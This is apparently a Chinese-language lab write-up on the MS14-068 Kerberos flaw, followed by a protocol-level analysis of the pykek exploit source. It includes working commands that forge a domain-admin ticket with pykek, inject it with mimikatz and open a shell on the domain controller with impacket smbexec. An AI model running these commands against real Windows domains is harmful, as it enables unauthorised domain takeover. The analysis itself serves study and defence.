2014.11.18 微软发布 MS14-068 补丁,攻击者在具有任意普通域用户凭据的情况下,可通过该漏洞伪造 Kerberos 票据将普通域用户帐户提升到域管理员帐户权限。
官方通告,影响如下版本
经复现,发现只有 Server 2003、2008 利用成功,继续翻看官方通告,发现指出对 Server 2012 实际上不受影响。
需要的环境
利用的工具
项目地址:https://github.com/mubix/pykek
通过 pykek 生成一个域管权限的的TGT票据,然后可以通过 mimikatz 或 impacket 导入TGT票据进行横向移动。
伪造域管TGT票据
➜ pykek python2 ms14-068.py
USAGE:
ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>
OPTIONS:
-p <clearPassword>
--rc4 <ntlmHash>
➜ pykek
python2 ms14-068.py -u [email protected] -s S-1-5-21-1089315214-1876535666-527601790-1128 -d 192.168.1.10 -p 1234567
python2 ms14-068.py -u [email protected] -s S-1-5-21-1089315214-1876535666-527601790-1128 -d 192.168.1.10 --rc4 328727b81ca05805a68ef26acb252039
kerberos::purge
kerberos::klist
kerberos::ptc [email protected]
1)在域主机win11登录的域账号QFTM\zhangyu下,进行测试(加载票据TGT为lihua账户伪造的域管PAC)
查看访问域控后的内存票据情况
2)在域主机win11登录的本地账号WORKGROUP\qm下,进行测试(加载票据TGT为lihua账户伪造的域管PAC)
查看访问域控后的内存票据情况
注意:
通过票据认证时,目标主机需要为主机名-Kerberos认证不支持IP
在Win Server 2003、Win XP下使用 mimikatz 进行 kerberos::ptc xx.cache
内存导入票据时,会出现以下错误
* Injecting ticket : ERROR kuhl_m_kerberos_ptt_data ; LsaCallAuthenticationPackage KerbSubmitTicket Message : c000000d
# 指定TGT票据
➜ examples git:(master) ✗ export KRB5CCNAME=TG[email protected]
# 攻击域控
➜ examples git:(master) ✗ python3 smbexec.py qftm.com/[email protected] -dc-ip 192.168.1.10 -k -no-pass -code gbk -debug
# 攻击其它Target
➜ examples git:(master) ✗ python3 smbexec.py qftm.com/lihua@targetHostname -dc-ip 192.168.1.10 -k -no-pass -code gbk -debug
第一步:client 和 KDC AS 认证服务通信,用户身份预认证,获取TGT认购票据
(1)AS-REQ 请求,Client => KDC AS
(2)AS-REP 响应,Client <= KDC AS
PA-ENC-TIMESTAMP
进行解密。解密成功后,还会检查要求时间戳的范围在五分钟内且数据包无重放,则预认证成功。AS-REP响应包中主要包括如下信息:
注意:TGT票据由KDC的krbtgt ntlm hash加密,客户端无法伪造
第二步:client 和 KDC TGS 票据授予服务通信,携带TGT认购票据,获取ST服务票据
(1)TGS-REQ 请求,Client => KDC TGS
(2)TGS-REQ 响应,Client <= KDC TGS
完成上述的检测后,TGS服务发送响应包给客户端,响应包中主要包括如下信息:
域名(crealm)
ST服务票据
包含明文的版本号,域名,请求的服务名,以及加密部分enc-part
加密部分enc-part用用户要访问目标服务的服务用户密钥加密(要访问的目标服务信息在TGS-REQ的req-body中)(这里客户端要访问的目标服务为cifs服务:cifs/win7-01.qftm.com,cifs服务用户为WIN7-01$)
最外层enc-part
使用Logon Session key加密的Service Session key和客户端要访问目标服务的服务名等信息
Service Session key作用是用于确保客户端和客户端要访问的目标服务下阶段之间通信安全
以及一些其他信息:如版本号、消息类型等。
注意:ST票据由用户要访问目标服务的服务用户密钥加密,客户端无法伪造
第三步:client 和 Server 目标服务通信,携带ST服务票据
AP-REQ 请求,Client => Server
客户端访问指定服务时,把客户端用户名、时间戳等信息用Server Session key加密,同服务票据(ST)发送给目标服务,发起AP-REQ请求,该请求主要包含如下的内容:
Authenticator:Serivce Session Key加密的时间戳、客户端用户名等信息
以及一些其他信息:如版本号、消息类型,协商选项等
AP-REP 响应,Client <= Server
PAC存储在Ticket票据的enc-part中,但enc-part由Server用户NTLM Hash加密,客户端并不知道Server用户的NTLM Hash,也就无法将伪造的PAC放入Ticket的enc-part中,那么怎么解决PAC的有效存储呢?
客户端协商服务端使用的加密算法,为什么是 RC4_HMAC?
漏洞攻击,伪造获取域管权限的TGT票据
流量如下
ip.addr == 192.168.1.10 && kerberos
结合pykek源码进行分析
Client => KDC AS
构造as-req请求包、发送as-req请求
1、kek.krb5.build_as_req函数,构造as-req请求包
将 pa-enc-timestamp 放入 padata[0] 中
构造pA-PAC-REQUEST,pac_request 为 false,所以 include-pac=false
将pA-PAC-REQUEST放入padata[1]中
kerberos版本信息、消息类型等
2、kek.krb5.send_req函数,发送as-req请求
as-req请求流量如下
pA-ENC-TIMESTAMP,客户端用户NTLM Hash加密的时间戳
pA-PAC-REQUEST,include-pac的值决定了KDC在AS-REP响应中返回的票据是否包含PAC
为什么这里要指定False
如果获取的TGT不包含PAC,那怎么伪造PAC呢,下面会介绍
Client <= KDC AS
接收as-rep响应、解析as-rep响应包
1、kek.krb5.recv_rep函数,接收as-rep响应
2、kek.krb5.decrypt_as_rep函数,解析as-rep响应包
调用kek.krb5._decrypt_rep函数,主要解密as-rep最外层的enc-part(KDC使用客户端用户NTLM Hash加密的Logon session key,加密算法为as-req中req-body里面etype指定支持的加密算法-这里as-req=》req-body=〉etype为RC4_HMAC)
as-rep响应流量如下
注意:客户端和服务端之间的加密算法
为什么客户端协商服务端使用的加密算法为RC4_HMAC【AS-REQ中req-body里面的etype】
AS-REQ中客户端使用域用户NTLM Hash加密时间戳的算法为RC4_HMAC(服务端收到请求后通过RC4_HMAC进行解密该部分)
AS-REP中服务端使用krbtgt用户NTLM Hash加密Logon Session Key的算法为RC4_HMAC(客户端收到响应后通过RC4_HMAC进行解密该部分)
因为MS14-068漏洞作用于域控Server 2003、2008,但是Server 2008及之后才开始支持AES_HMAC算法,那么编写攻击Exp就要考虑Server 2003的域控了,所以当攻击者和域控协商密钥时选择RC4_HMAC进行兼容。
Client => KDC TGS
构造域管权限PAC、构造PAC有效签名、构造tgs-req请求包、发送tgs-req请求
1、kek.pac.build_pac函数,构造域管权限PAC、构造PAC有效签名
kek.crypto.checksum函数,构造PAC有效签名
2、kek.krb5.build_tgs_req函数,构造tgs-req请求包
Kerberos认证KDC 漏洞二
加密PAC(密钥为subkey,加密类型为RC4_HMAC),存储在 TGS_REQ.req_body.enc-authorization-data 中
将 pA-TGS-REQ 放入 padata[0] 中
构造pA-PAC-REQUEST,pac_request 为 false,所以 include-pac=false【注意:这里TGS_REQ中include-pac=false,且TGT中不包含PAC,为什么TGS_REP返回的ST票据中仍包含域管权限PAC呢?因为即使include-pac=false表示返回的ST票据不需要包含PAC,但是KDC处理了 TGS_REQ.req_body.enc-authorization-data 中加密的PAC,导致返回的ST票据中,仍然包含PAC】
将pA-PAC-REQUEST放入padata[1]中
kerberos版本信息、消息类型等
3、kek.krb5.send_req函数,发送tgs-req请求
tgs-req请求流量如下
pA-PAC-REQUEST,include-pac的值决定了KDC在TGS-REP响应中返回的票据是否包含PAC
sname,请求的目标服务ST票据的服务信息-用户名-默认krbtgt,相当于返回的ST服务票据是一个TGT认购票据
Client <= KDC TGS
接收tgs-rep响应、解析tgs-rep响应包
1、kek.krb5.recv_rep函数,接收tgs-rep响应
2、kek.krb5.decrypt_tgs_rep函数,解析tgs-rep响应包
调用kek.krb5._decrypt_rep函数,主要解密tgs-rep最外层的enc-part(KDC使用Logon session key加密的Server Session Key、客户端要访问目标服务的服务用户名信息等,加密算法为tgs-req中req-body里面etype指定支持的加密算法-这里tgs-req=》req-body=〉etype为RC4_HMAC)
tgs-rep响应流量如下
PAC存储在Ticket票据的enc-part中,但enc-part由Server用户NTLM Hash加密,客户端并不知道Server用户的NTLM Hash,也就无法将伪造的PAC放入Ticket的enc-part中,那么怎么解决PAC的有效存储呢?
客户端协商服务端使用的加密算法,为什么是 RC4_HMAC?
拿到域管权限的TGT认购权证(TGS-REP中返回的ST服务票据)后,可以进行PtT横向移动攻击域控
https://learn.microsoft.com/zh-cn/security-updates/securitybulletins/2014/ms14-068